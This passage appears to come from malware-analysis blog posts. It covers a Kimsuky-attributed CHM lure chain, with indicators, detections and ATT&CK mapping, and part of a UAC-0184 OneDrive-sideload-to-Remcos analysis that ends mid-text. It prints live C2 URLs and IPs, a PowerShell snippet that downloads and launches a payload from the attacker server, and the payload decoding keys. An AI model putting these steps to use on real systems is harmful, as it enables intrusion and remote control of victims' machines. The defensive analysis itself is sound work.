      "acnms.dmdoc.dynv6.net"
    ],
    "urls": [
      "http://acnms.dmdoc.dynv6.net/smltm/bootservice.php?tag=<1-10000>&query=1",
      "http://acnms.dmdoc.dynv6.net/smltm/finalservice.php",
      "http://acnms.dmdoc.dynv6.net/smltm/bootservice.php?tag=<6000-12000>&query=6",
      "http://acnms.dmdoc.dynv6.net/smltm/checkservice.php?idx=5&tag=<1-10000>"
    ],
    "files": [
      "Review.chm",
      "%USERPROFILE%\\Links\\Link.dat",
      "%USERPROFILE%\\Links\\Link.ini",
      "OfficeUpdater_<minute>_<hour>_<day><month>.ini",
      "Info.txt"
    ],
    "scheduled_tasks": [
      "Edge Updater"
    ],
    "multipart": {
      "filename": "Info.txt",
      "boundary": "----c2xkanZvaXU4OTA",
      "max_file_size": "1000000"
    },
    "registry": [
      "HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Check_Associations",
      "HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\DisableFirstRunCustomize",
      "HKCU\\Software\\Microsoft\\Edge\\IEToEdge\\RedirectionMode"
    ]
  },
  "x_limitations": [
    "The SHA-256 hash of the original Review.chm sample was not available in the supplied material.",
    "The final checkservice.php response was empty during controlled replay; the expected LogAction implementation is modeled as a placeholder and not as an observed payload.",
    "IIM-T017 is assigned with likely confidence because the terminal endpoint selectively returned no payload after the reconstructed sequence. The exact server-side gate was not identified.",
    "IIM-T019, IIM-T020, IIM-T021 and IIM-T022 are not asserted because geofencing, client filtering, request fingerprinting and time-window gating were considered but not demonstrated.",
    "No DNS-resolution or hosting-IP entity is included because the supplied evidence did not establish a stable address suitable for this observation."
  ],
  "entities": [
    {
      "id": "e001",
      "type": "file",
      "value": "Review.chm",
      "observed_at": "2026-06-22T09:56:08Z",
      "source": "Synaptic Systems malware analysis",
      "evidence": [
        "Korean-language compiled HTML Help lure containing a hidden HTML Help shortcut object.",
        "The embedded command launches hidden PowerShell, writes Link.dat, decodes Link.ini with certutil and executes Link.ini as VBScript."
      ],
      "x_chain_stage": "chm_entry",
      "x_format": "MS Windows HtmlHelp Data",
      "x_decoy_topic": "Editorial feedback concerning North Korean food-crisis and right-to-food material"
    },
    {
      "id": "e002",
      "type": "file",
      "value": "%USERPROFILE%\\Links\\Link.ini",
      "observed_at": "2026-06-22T09:56:08Z",
      "source": "Decoded Review.chm content",
      "evidence": [
        "Created by certutil.exe -f -decode from the embedded Base64 Link.dat content.",
        "Executed with wscript.exe //b //e:vbscript despite the .ini extension.",
        "Requests bootservice.php with query=1 and executes mx.responseText."
      ],
      "x_chain_stage": "initial_vbscript_bootstrap",
      "x_disguised_extension": true
    },
    {
      "id": "e003",
      "type": "url",
      "value": "http://acnms.dmdoc.dynv6.net/smltm/bootservice.php?tag=<1-10000>&query=1",
      "observed_at": "2026-06-22T09:56:08Z",
      "source": "Controlled C2 replay",
      "evidence": [
        "The Link.ini bootstrap generates a random integer from 1 through 10000 and performs a synchronous Microsoft.XMLHTTP GET.",
        "The endpoint returned HTTP 200 and a 6338-byte VBScript response."
      ],
      "x_chain_stage": "reconnaissance_stage_delivery",
      "x_http_status": 200,
      "x_content_length": 6338
    },
    {
      "id": "e004",
      "type": "hash",
      "value": "21781885f9d6ebc5f9e0f828aacbe3db2aaa1c142bda1495b17e723c9912f826",
      "observed_at": "2026-06-22T09:56:08Z",
      "source": "Captured query=1 response",
      "evidence": [
        "SHA-256 of the 6338-byte VBScript returned by bootservice.php?query=1.",
        "The script profiles Win32_ComputerSystem, Win32_OperatingSystem, Win32_Processor, selected directories and Win32_Process.",
        "It creates OfficeUpdater_*.ini, registers the hidden hourly Edge Updater task, modifies IE/Edge-related registry values and uploads Base64 inventory."
      ],
      "x_chain_stage": "reconnaissance_persistence_exfiltration_payload",
      "x_artifact_name": "bootservice-query1.vbs",
      "x_size": 6338
    },
    {
      "id": "e005",
      "type": "url",
      "value": "http://acnms.dmdoc.dynv6.net/smltm/finalservice.php",
      "observed_at": "2026-06-22T09:56:11Z",
      "source": "Controlled C2 replay and query=1 script",
      "evidence": [
        "Receives a multipart/form-data POST containing Base64-encoded host inventory as Info.txt.",
        "The request uses the fixed boundary ----c2xkanZvaXU4OTA.",
        "The replayed endpoint returned HTTP 200 with Content-Length 0."
      ],
      "x_chain_stage": "inventory_exfiltration_c2",
      "x_http_status": 200,
      "x_content_length": 0
    },
    {
      "id": "e006",
      "type": "file",
      "value": "OfficeUpdater_<minute>_<hour>_<day><month>.ini",
      "observed_at": "2026-06-22T09:56:08Z",
      "source": "Captured query=1 response",
      "evidence": [
        "Written to Shell.Application namespace 32 and registered under the hidden scheduled task Edge Updater.",
        "Executed by wscript.exe //b //e:vbscript five minutes after registration and then at PT60M intervals.",
        "Sleeps for 6000 through 12000 milliseconds before requesting bootservice.php?query=6."
      ],
      "x_chain_stage": "persistent_vbscript_loader",
      "x_scheduled_task": "Edge Updater",
      "x_repetition_interval": "PT60M",
      "x_disguised_extension": true
    },
    {
      "id": "e007",
      "type": "url",
      "value": "http://acnms.dmdoc.dynv6.net/smltm/bootservice.php?tag=<6000-12000>&query=6",
      "observed_at": "2026-06-22T09:56:17Z",
      "source": "Controlled C2 replay",
      "evidence": [
        "The persistent OfficeUpdater loader reuses its 6000-through-12000 millisecond sleep value as the tag parameter.",
        "The endpoint returned HTTP 200 and a 428-byte VBScript response."
      ],
      "x_chain_stage": "powershell_handoff_delivery",
      "x_http_status": 200,
      "x_content_length": 428
    },
    {
      "id": "e008",
      "type": "hash",
      "value": "962e7a2a0b6ea9926f2198db06aa1d67326a75de7168400f8863fe7a23e51ef8",
      "observed_at": "2026-06-22T09:56:17Z",
      "source": "Captured query=6 response",
      "evidence": [
        "SHA-256 of the 428-byte VBScript returned by bootservice.php?query=6.",
        "The script launches cmd.exe and hidden PowerShell through WScript.Shell.Run.",
        "PowerShell requests checkservice.php?idx=5, invokes the response with iex and then calls LogAction -ur with the C2 base URL."
      ],
      "x_chain_stage": "vbscript_to_powershell_handoff",
      "x_artifact_name": "bootservice-query6.vbs",
      "x_size": 428
    },
    {
      "id": "e009",
      "type": "url",
      "value": "http://acnms.dmdoc.dynv6.net/smltm/checkservice.php?idx=5&tag=<1-10000>",
      "observed_at": "2026-06-22T09:56:26Z",
      "source": "Controlled C2 replay and captured query=6 response",
      "evidence": [
        "The query=6 stage decodes %26 to an ampersand, producing idx=5&tag=<random>.",
        "The response is expected to be executed by Invoke-Expression and to define a LogAction function.",
        "During replay the endpoint returned HTTP 200 with Content-Length 0 and no final PowerShell body."
      ],
      "x_chain_stage": "selective_final_payload_endpoint",
      "x_http_status": 200,
      "x_content_length": 0,
      "x_empty_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
    },
    {
      "id": "e010",
      "type": "file",
      "value": "<withheld PowerShell payload defining LogAction>",
      "source": "Inferred from captured query=6 launcher",
      "evidence": [
        "The launcher executes the checkservice.php response in the current PowerShell context and immediately invokes LogAction -ur $base_url.",
        "No implementation was returned to the analyzed environment."
      ],
      "x_chain_stage": "unobserved_final_payload",
      "x_placeholder": true,
      "x_observation_status": "expected-but-withheld"
    }
  ],
  "chain": [
    {
      "entity_id": "e001",
      "role": "entry",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "User-facing CHM lure and initial execution point. CHM execution is represented in ATT&CK rather than as an IIM infrastructure technique."
    },
    {
      "entity_id": "e002",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Local bootstrap artifact that transports execution from the CHM to the first remote stage."
    },
    {
      "entity_id": "e003",
      "role": "staging",
      "techniques": [
        "IIM-T008"
      ],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Remote script-delivery endpoint hosted below the DynV6 dynamic-DNS namespace."
    },
    {
      "entity_id": "e004",
      "role": "payload",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Operational reconnaissance, persistence and exfiltration payload."
    },
    {
      "entity_id": "e005",
      "role": "c2",
      "techniques": [
        "IIM-T008"
      ],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Host-inventory collection endpoint on the same DynV6-backed infrastructure."
    },
    {
      "entity_id": "e006",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Persistent local loader that periodically resumes the remote delivery chain."
    },
    {
      "entity_id": "e007",
      "role": "staging",
      "techniques": [
        "IIM-T008"
      ],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "Second remote script-delivery endpoint hosted below the DynV6 dynamic-DNS namespace."
    },
    {
      "entity_id": "e008",
      "role": "staging",
      "techniques": [],
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "needs_review": false,
      "review_notes": "VBScript handoff that transitions execution into PowerShell and references the final endpoint."
    },
    {
      "entity_id": "e009",
      "role": "c2",
      "techniques": [
        "IIM-T008",
        "IIM-T017"
      ],
      "role_confidence": "confirmed",
      "technique_confidence": "likely",
      "needs_review": true,
      "review_notes": "The endpoint is confirmed as the expected final code-delivery/C2 location. IIM-T017 is likely rather than confirmed because replay produced HTTP 200 with an empty body, but the exact gating decision was not identified.",
      "x_candidate_techniques_not_asserted": [
        "IIM-T019",
        "IIM-T020",
        "IIM-T021",
        "IIM-T022"
      ]
    },
    {
      "entity_id": "e010",
      "role": "payload",
      "techniques": [],
      "role_confidence": "likely",
      "technique_confidence": "tentative",
      "needs_review": true,
      "review_notes": "Placeholder required to preserve the launcher’s observed expectation. The payload body and its capabilities were not recovered."
    }
  ],
  "relations": [
    {
      "from": "e001",
      "to": "e002",
      "type": "drops",
      "sequence_order": 1,
      "observed_at": "2026-06-22T09:56:08Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The CHM-launched PowerShell writes Base64 data, decodes it to Link.ini and leaves the VBScript artifact on disk."
      ]
    },
    {
      "from": "e001",
      "to": "e002",
      "type": "execute",
      "sequence_order": 2,
      "observed_at": "2026-06-22T09:56:08Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The CHM command executes Link.ini through wscript.exe //b //e:vbscript."
      ]
    },
    {
      "from": "e002",
      "to": "e003",
      "type": "connect",
      "sequence_order": 3,
      "observed_at": "2026-06-22T09:56:08Z",
      "confidence": "confirmed",
      "x_evidence": [
        "Link.ini performs a synchronous Microsoft.XMLHTTP GET to bootservice.php?query=1."
      ]
    },
    {
      "from": "e003",
      "to": "e004",
      "type": "download",
      "sequence_order": 4,
      "observed_at": "2026-06-22T09:56:08Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The endpoint returned the captured 6338-byte VBScript and the bootstrap executed responseText."
      ]
    },
    {
      "from": "e004",
      "to": "e006",
      "type": "drops",
      "sequence_order": 5,
      "observed_at": "2026-06-22T09:56:08Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The query=1 payload writes OfficeUpdater_*.ini to shell namespace 32."
      ]
    },
    {
      "from": "e004",
      "to": "e005",
      "type": "communicates-with",
      "sequence_order": 6,
      "observed_at": "2026-06-22T09:56:11Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The query=1 payload uploads the Base64 inventory as Info.txt to finalservice.php."
      ]
    },
    {
      "from": "e004",
      "to": "e006",
      "type": "execute",
      "sequence_order": 7,
      "confidence": "confirmed",
      "x_evidence": [
        "The query=1 payload registers OfficeUpdater_*.ini as the action of the hidden Edge Updater scheduled task."
      ]
    },
    {
      "from": "e006",
      "to": "e007",
      "type": "connect",
      "sequence_order": 8,
      "observed_at": "2026-06-22T09:56:17Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The persistent loader requests bootservice.php?query=6 after its random sleep."
      ]
    },
    {
      "from": "e007",
      "to": "e008",
      "type": "download",
      "sequence_order": 9,
      "observed_at": "2026-06-22T09:56:17Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The endpoint returned the captured 428-byte VBScript response."
      ]
    },
    {
      "from": "e006",
      "to": "e008",
      "type": "execute",
      "sequence_order": 10,
      "observed_at": "2026-06-22T09:56:17Z",
      "confidence": "confirmed",
      "x_evidence": [
        "OfficeUpdater invokes Execute(mx.responseText) on the query=6 response."
      ]
    },
    {
      "from": "e008",
      "to": "e009",
      "type": "connect",
      "sequence_order": 11,
      "observed_at": "2026-06-22T09:56:26Z",
      "confidence": "confirmed",
      "x_evidence": [
        "The query=6 response launches PowerShell, which uses Invoke-RestMethod to request checkservice.php?idx=5."
      ]
    },
    {
      "from": "e009",
      "to": "e010",
      "type": "download",
      "sequence_order": 12,
      "observed_at": "2026-06-22T09:56:26Z",
      "confidence": "tentative",
      "x_evidence": [
        "The launcher expects executable PowerShell defining LogAction, but the replayed response body was empty."
      ]
    }
  ],
  "attack_annotations": [
    {
      "technique_id": "T1218.001",
      "name": "System Binary Proxy Execution: Compiled HTML File",
      "tactic": "Defense Evasion",
      "comment": "Review.chm uses Windows HTML Help shortcut execution to launch the bootstrap."
    },
    {
      "technique_id": "T1059.005",
      "name": "Command and Scripting Interpreter: Visual Basic",
      "tactic": "Execution",
      "comment": "The bootstrap, reconnaissance stage, persistent loader and PowerShell handoff are VBScript."
    },
    {
      "technique_id": "T1059.001",
      "name": "Command and Scripting Interpreter: PowerShell",
      "tactic": "Execution",
      "comment": "Hidden PowerShell decodes the bootstrap and later retrieves and executes the expected final stage."
    },
    {
      "technique_id": "T1140",
      "name": "Deobfuscate/Decode Files or Information",
      "tactic": "Defense Evasion",
      "comment": "certutil decodes embedded Base64 into Link.ini; later stages also use Base64 for collected data."
    },
    {
      "technique_id": "T1105",
      "name": "Ingress Tool Transfer",
      "tactic": "Command and Control",
      "comment": "VBScript and PowerShell retrieve additional code from bootservice.php and checkservice.php."
    },
    {
      "technique_id": "T1082",
      "name": "System Information Discovery",
      "tactic": "Discovery",
      "comment": "The query=1 payload collects computer, OS, memory, manufacturer, model and processor information."
    },
    {
      "technique_id": "T1083",
      "name": "File and Directory Discovery",
      "tactic": "Discovery",
      "comment": "The payload lists selected user and Program Files directories."
    },
    {
      "technique_id": "T1057",
      "name": "Process Discovery",
      "tactic": "Discovery",
      "comment": "The payload queries Win32_Process and records process names, PIDs and session IDs."
    },
    {
      "technique_id": "T1053.005",
      "name": "Scheduled Task/Job: Scheduled Task",
      "tactic": "Persistence",
      "comment": "The hidden Edge Updater task launches OfficeUpdater_*.ini and repeats every 60 minutes."
    },
    {
      "technique_id": "T1112",
      "name": "Modify Registry",
      "tactic": "Defense Evasion",
      "comment": "The query=1 payload changes IE first-run/association values and Edge IEToEdge RedirectionMode."
    },
    {
      "technique_id": "T1041",
      "name": "Exfiltration Over C2 Channel",
      "tactic": "Exfiltration",
      "comment": "Base64-encoded system inventory is uploaded to finalservice.php as Info.txt."
    },
    {
      "technique_id": "T1071.001",
      "name": "Application Layer Protocol: Web Protocols",
      "tactic": "Command and Control",
      "comment": "All observed stage delivery and inventory transfer uses HTTP."
    }
  ]
}

Detection opportunities

The chain creates a distinctive set of behavioral relationships.

Suspicious process ancestry

hh.exe
  |_ powershell.exe
      |- certutil.exe
      |_ wscript.exe

Later:

taskeng.exe / svchost.exe
  |_ wscript.exe
      |_ cmd.exe
          |_ powershell.exe

High-value detections include:

  • hh.exe spawning PowerShell or a script interpreter
  • PowerShell writing into %USERPROFILE%\Links
  • certutil.exe -decode operating on .dat and .ini files
  • wscript.exe using /e:vbscript on a non-script extension
  • wscript.exe spawning cmd.exe
  • cmd.exe launching hidden PowerShell
  • PowerShell combining Invoke-RestMethod with Invoke-Expression
  • scheduled-task actions that execute .ini files through wscript.exe

Host artifacts

%USERPROFILE%\Links\Link.dat
%USERPROFILE%\Links\Link.ini

OfficeUpdater_*.ini

Scheduled task:
Edge Updater

Registry artifacts:

HKCU\Software\Microsoft\Internet Explorer\Main\Check_Associations
HKCU\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize
HKCU\Software\Microsoft\Edge\IEToEdge\RedirectionMode

Network indicators

acnms[.]dmdoc[.]dynv6[.]net
118.194.249.91

aointerviews.com (potential)
51.79.185.184 (potential)
176.111.220.168 (potential)
152.32.138.15 (potential)


/smltm/bootservice.php
/smltm/finalservice.php
/smltm/checkservice.php

bootservice.php?tag=<value>&query=1
bootservice.php?tag=<value>&query=6
checkservice.php?idx=5&tag=<value>

The fixed multipart properties provide additional detection opportunities:

Filename: Info.txt
Boundary: ----c2xkanZvaXU4OTA
Form field: MAX_FILE_SIZE
Value: 1000000

ATT&CK mapping

The observed behavior maps to the following techniques:

TechniqueIDObserved behavior
Compiled HTML FileT1218.001CHM content executes through Windows HTML Help
PowerShellT1059.001Hidden PowerShell retrieves and executes code
Visual BasicT1059.005Multiple stages execute through VBScript
Scheduled TaskT1053.005Hidden Edge Updater task runs hourly
System Information DiscoveryT1082WMI collects OS, hardware and memory data
Process DiscoveryT1057Win32_Process enumeration
File and Directory DiscoveryT1083User and program directories are listed
Modify RegistryT1112IE and Edge-related values are modified
Deobfuscate/Decode FilesT1140certutil decodes the embedded VBScript
Ingress Tool TransferT1105Additional stages are retrieved over HTTP
Exfiltration Over C2 ChannelT1041Base64 inventory is uploaded to the C2

IIM Mapping

TechniqueIDDescription
Dynamic DNS AbuseIIM-T008The campaign hosted its staging, exfiltration and final payload-delivery endpoints beneath acnms.dmdoc.dynv6.net, using the DynV6 dynamic DNS service to provide a changeable domain layer in front of the C2 infrastructure
Traffic Distribution System (TDS)IIM-T017The final checkservice.php endpoint appears to act as a selective payload-delivery gate. Earlier stages were returned successfully, while the final request received HTTP 200 with an empty body despite the launcher expecting PowerShell code defining LogAction. The exact server-side selection criteria could not be determined
Geofenced DeliveryIIM-T019Considered as a possible gating mechanism, but not confirmed. Requests routed through different countries did not recover the expected final payload, and the available results were insufficient to demonstrate country- or region-based delivery decisions
User-Agent / Client FilteringIIM-T020Considered but not confirmed. The chain uses Microsoft.XMLHTTP for the VBScript stages and Invoke-RestMethod for the final PowerShell request, allowing the server to distinguish clients through User-Agent or other HTTP characteristics. No client-specific delivery difference was conclusively observed
Request Fingerprinting GateIIM-T021Considered but not confirmed. The server may evaluate request order, parameter structure, uploaded inventory, source IP or other request properties before returning the final payload. Controlled replay reproduced the expected sequence, but the responsible fingerprinting condition was not identified.
Time-Window GatingIIM-T022Considered but not confirmed. The original chain introduces a five-minute delay before the scheduled task begins and an additional randomized delay of six to twelve seconds before contacting the final endpoint. These timing values may contribute to server-side validation, but no time-dependent delivery behavior was demonstrated.

Attribution context

Kimsuky has a documented history of distributing Korean-language CHM files that display legitimate-looking decoy content while downloading script-based payloads. Previous reporting has also described CHM-based Kimsuky activity focused on collecting and exfiltrating information from infected systems. [1][2]

The analyzed sample is consistent with that broader tradecraft:

  • a Korean-language lure concerning North Korea
  • execution through a compiled HTML Help file
  • staged VBScript delivery
  • PowerShell-based follow-on execution
  • system and process profiling
  • script-based persistence
  • server-controlled payload selection

CHM-based delivery is not unique to Kimsuky and, on its own, would be insufficient for attribution.
Confidence increases, when the delivery method is considered alongside the Korean-language decoy material, the infrastructure choices, recurring Kimsuky-associated artifacts, including the characteristic web server welcome message and the implementation details observed in the code.

Any one of these indicators could be imitated as part of a deception effort.
Reproducing the full combination consistently across the lure, infrastructure, server behavior and malware logic would require a significantly greater level of effort.
Taken together, these signals provide a much stronger basis for attributing the activity to Kimsuky.

Conclusion

The most notable aspect of this chain is zhe handoff between them.

The CHM launches a hidden bootstrap.
The bootstrap retrieves a profiler.
The profiler inventories the system, uploads the result and establishes persistence.
The persistent loader introduces PowerShell.
PowerShell then contacts a final endpoint that decides whether the victim receives the operational payload.

In the analyzed environment, that last decision was negative.

The actor exposed enough of the chain to reconstruct its discovery, exfiltration and persistence logic, but the final LogAction implementation remained behind a server-side delivery gate.

That separation complicates automated analysis and limits exposure of the actors most valuable component.
It also provides us defenders with a useful lesson: an empty response does not necessarily mark the end of an inactive chain.
It could also be evidence that the infrastructure is still making decisions.

UAC-0184 Tooling Evolution: OneDrive Sideload to Remcos

by Robin Dost


Malware: HijackLoader / IDATLoader -> Remcos Agent 7.1.0 Pro
Actor tracking: UAC-0184 / MB-0005
Related analysis: UAC-0184: From HTA to a Signed Network Stack
A YARA rule for this sample is available on request: contact@robin-dost.de.

In my previous UAC-0184 analysis, I documented a loader chain built around a legitimate Plane9 application, several local payload containers and a pseudo-PNG file carrying additional stages inside its IDAT chunks.

That chain eventually unpacked a collection of signed utilities and a PassMark network component.

The sample analyzed in this article uses a visibly different delivery package and ends with a much clearer final payload.
Plane9 has been replaced with Microsoft OneDrive components, the local container names have changed and the campaign now delivers a fully configured Remcos Agent.

Underneath those changes, however, much of the loader architecture remains familiar.

The result is a useful example of tooling evolution for us: the exterior rotated, while the more expensive internal loading pipeline was retained.

Starting with the initial archive

The initial archive is named:

spisokszch.zip

with the SHA256

c74bb6fb848cdb87c2b4261da1efc078023cdf95aa7b1436c52c26f3a11025af

It contains five files:

JPG_012.jpg.lnk
JPG_013.jpg.lnk
JPG_014.jpg.lnk
spisokszch.xlsx.lnk
README.txt

Despite their names, none of the four apparent image or spreadsheet files are actual documents.

They are Windows shortcut files.

The archive therefore presents the victim with three apparent JPG images and one Excel workbook, while Windows may hide the final .lnk extension depending on the local Explorer configuration.
The accompanying README.txt is written in Ukrainian and instructs the recipient to extract the files to the desktop before opening them:

Інструкція як відкрити файли

1. Витягніть їх з архіву (розпакуйте) на робочий стіл. Якщо Ви будете відкривати їх всередині архіву, то вони не відкриються

2. Двічі клацніть по розпакованих файлах

--- EN

Instructions for opening the files:

1. Extract them from the archive to the desktop.
   They will not open if launched from inside the archive.

2. Double-click the extracted files.

This instruction is operationally useful for the attacker.

Launching shortcuts directly from an archive can behave differently depending on the archive utility and extraction context. Asking the victim to extract everything first ensures that the LNK files are placed together on disk and executed in a predictable environment.

It also gives the request a legitimate explanation: the files supposedly need to be unpacked because they cannot be opened from inside the ZIP.

Four lures, one execution pattern

Each LNK launches cmd.exe with delayed variable expansion enabled.

The command reconstructs the string:

MSXML2.XMLHTTP

from two smaller variables:

MSXM
L2.XML

It then writes a temporary VBScript that:

  1. creates an MSXML2.XMLHTTP object;
  2. performs an HTTP GET request;
  3. sets a Windows PowerShell-style User-Agent;
  4. writes the response using ADODB.Stream;
  5. saves it as a temporary .ps1 file.

The shortcut subsequently executes the VBScript through cscript, launches the downloaded PowerShell file with a hidden window and deletes both temporary files.

The effective flow is:

The split strings and wildcard-heavy Get-Command expression are not sophisticated obfuscation.
They are enough, however, to break simple searches for complete API names or common PowerShell download commands.

The four shortcuts reference four separate PowerShell URLs:

JPG_012.jpg.lnk
-> http://144.31.236.240/szch45/ritecommunion.ps1

JPG_013.jpg.lnk
-> http://144.31.236.240/szch45/shoutnewspaper.ps1

JPG_014.jpg.lnk
-> http://144.31.236.240/szch45/hintprefix.ps1

spisokszch.xlsx.lnk
-> http://144.31.236.240/szch45/collectivisationgown.ps1

The PowerShell downloaders

The recovered PowerShell stages are almost identical.

They first check whether the secondary archive already exists:

szch45clusterhum.zip

If it does not, they download it from:

http://144.31.236.240/szch45clusterhum.zip

The scripts use an obfuscated Get-Command expression to resolve Invoke-WebRequest, then save the ZIP into the current working directory.

They subsequently extract the archive into:

MSWinDistro

Finally, they execute:

MSWinDistro/ClusterHub.exe

and open one of the decoy images / document included in the downloaded ZIP.

The difference between the recovered scripts is the decoy selected after execution:

ritecommunion.ps1
-> JPG_012.jpg

shoutnewspaper.ps1
-> JPG_013.jpg

hintprefix.ps1
-> JPG_014.jpg

collectivisationgown.ps1
-> spisokszch.xlsx

The behavior can be simplified to:

if (!(Test-Path "szch45clusterhum.zip")) {
    Invoke-WebRequest `
        -Uri "http://144.31.236.240/szch45clusterhum.zip" `
        -OutFile "szch45clusterhum.zip"
}

Expand-Archive `
    "szch45clusterhum.zip" `
    -DestinationPath "MSWinDistro"

Start-Process "MSWinDistro/ClusterHub.exe"
Start-Process "MSWinDistro/JPG_012.jpg"

The scripts subsequently execute:

MSWinDistro/ClusterHub.exe

and attempt to open one of the files carrying a .jpg extension.

The difference between the two recovered scripts is the selected file:

ritecommunion.ps1
-> JPG_012.jpg

shoutnewspaper.ps1
-> JPG_013.jpg

However, the files are not valid JPEG images.
Their headers resemble deliberately corrupted or incomplete PNG signatures and standard file identification reports them only as generic data.

The PowerShell start command therefore only proves that Windows is instructed to open the files through the registered .jpg handler. It does not prove that a valid image is displayed to the victim.

No static reference indicating that ClusterHub.exe repairs or decrypts these files was identified in the analyzed loader components.
They may serve as malformed decoys, auxiliary containers or artifacts intended to create visible activity while the sideload chain starts in parallel.

Delivery and C2 on the same server

The IP address:

144.31.236.24

appears throughout the chain.

It hosts:

/szch45/ritecommunion.ps1
/szch45/shoutnewspaper.ps1
/szch45/hintprefix.ps1
/szch45/collectivisationgown.ps1
/szch45clusterhum.zip

The final Remcos configuration also points back to the same address:

144.31.236.240:27018

This means the observed server performs at least two operational roles:

HTTP payload delivery
-> TCP Remcos command and control

There is no domain, redirector or separate delivery layer in the recovered artifacts.

The shortcuts connect directly to an IP address, the PowerShell scripts retrieve the second archive directly from the same IP and the final payload is configured to use that IP for C2.

From an operational-security perspective, this is convenient but noisy.

A single infrastructure indicator links the initial downloader, the secondary archive and the final malware controller.

I’m familiar with this subnet (AS202226) and fairly confident about the provider behind this IP address: h2.nexus.
They offer cheap Windows Server hosting that can be paid for via cryptocurrency and they also support anonymous purchases through a Telegram bot.

In the last few samples i’ve analyzed they used a different Provider (Kraken-Network ISP).
This was consistent for some time now, but now we see a change, this change also has to do with the deployment of Remcos V2, because they need a Windows VPS for hosting their C2 Center.

The full chain

The complete execution sequence becomes:

Yeah, i know, the chain is long…

… but each layer solves a specific problem:

  • the initial ZIP provides the lure context;
  • the LNK files hide executable command lines behind document names;
  • the temporary VBScript performs the first download;
  • PowerShell downloads and extracts the larger package;
  • the legitimate OneDrive binary provides the sideload host;
  • local .sym and .map files hide the encoded stages;
  • the HijackLoader bundle handles modular execution;
  • Remcos provides the final remote-access capability.

Inside szch45clusterhum.zip

The second archive contains the following relevant files:

ClusterHub.exe
LoggingPlatform.dll
UpdateRingSettings.dll
monitor_base.sym
physicsdesc.map

JPG_012.jpg
JPG_013.jpg
JPG_014.jpg
spisokszch.xlsx

It also contains several Microsoft Visual C++ runtime libraries:

msvcp140.dll
msvcp_win.dll
ucrtbase.dll
vcruntime140.dll
vcruntime140_1.dll

This makes the directory look like a self-contained Windows application package.

The filenames UpdateRingSettings.dll and LoggingPlatform.dll fit naturally into a Microsoft software environment. The .sym and .map extensions can easily be dismissed as symbols, diagnostics or application metadata.

The decoy files also match the names presented by the original shortcuts.

The initial lure archive contains:

JPG_012.jpg.lnk

while the downloaded archive contains:

JPG_012.jpg

The PowerShell stage starts the malware and then opens the corresponding real image.

It’s actually not only filename masquerading, it’s a complete handoff from a fake shortcut to the real decoy document.

The OneDrive disguise

ClusterHub.exe is not a custom loader built from scratch.

Internally, it contains extensive Microsoft OneDrive and OneDrive Patcher strings, including:

OneDrivePatcher.exe
Microsoft.OneDrive.Sync.Client
UpdateRingSettings.dll
LoggingPlatform.DLL

The associated DLLs also retain legitimate-looking OneDrive symbols and type information.

This gives the package a much cleaner appearance than a random unsigned executable surrounded by several encrypted payloads.

ClusterHub.exe loads UpdateRingSettings.dll, which acts as the malicious loader component. LoggingPlatform.dll is also part of the local dependency chain and appears to preserve or forward expected functionality.

The attacker therefore did not only choose a signed executable that happens to search its local directory for a DLL.
They packaged the malicious loader inside a coherent collection of OneDrive-related components.

That is the first major visual change compared with the previous sample.
The earlier chain used a Plane9 application, the new chain uses Microsoft OneDrive software.

The two files that matter

The main local payload containers are:

monitor_base.sym
physicsdesc.map

Neither file is what its extension suggests.
Both begin with large amounts of printable filler, making them appear text-like when inspected superficially.


The relevant structures are located further inside the files.
The local loading sequence can be reduced to:

This is where the similarities to the previous UAC-0184 sample become difficult to ignore.

monitor_base.sym: the small loader stage

monitor_base.sym is approximately 35 KB.

Most of its beginning consists of filler.
At offset 0x6BD8, the file contains a small structure describing the encoded payload:

Decoded size: 0x2084
Key:          0x3A12EA50

The following data is decoded by adding the key to each 32-bit value.
The result is 8,324 bytes of x64 shellcode.
No complex encryption is involved at this stage.
It is a simple DWORD addition operation.
The decoded shellcode contains several useful strings:

tapisrv.dll
IDAT
IEND
PNG
GET
http
Rtl...

The IDAT, IEND and PNG strings reveal the purpose of the next stage.
The shellcode searches for and processes PNG-style chunks inside physicsdesc.map.
The references beginning with Rtl also lead to the later use of RtlDecompressBuffer.

physicsdesc.map: another image that is not an image

The larger physicsdesc.map file is approximately 1.36 MB.
It does not begin with a valid PNG signature.
Instead, the file starts with another large filler region. The first real PNG-style IDAT chunk appears at offset:

0x4052

From this position onward, the file contains:

164 × IDAT chunks
1 × IEND chunk

Most IDAT chunks contain 8,192 bytes.
The file is not a valid image, but enough of the internal PNG chunk structure is retained for the shellcode to parse it.
The loader searches using a pattern equivalent to:

????IDAT

The four wildcard bytes correspond to the big-endian chunk length preceding the IDAT type.
The shellcode concatenates the data areas of all matching chunks and interprets the first 16 bytes of the resulting stream as metadata.

For this sample, the recovered values are:

Marker:             0xEA79A5C6
DWORD XOR key:      0x54EBEC5E
Compressed size:    0x145E3A
Decompressed size:  0x20AE58

The following payload data is XORed DWORD by DWORD using:

0x54EBEC5E

The XOR output is then decompressed using:

RtlDecompressBuffer
CompressionFormat = 2

Compression format 2 corresponds to:

COMPRESSION_FORMAT_LZNT1

The final decompressed bundle is approximately 2.14 MB.

The same loader architecture

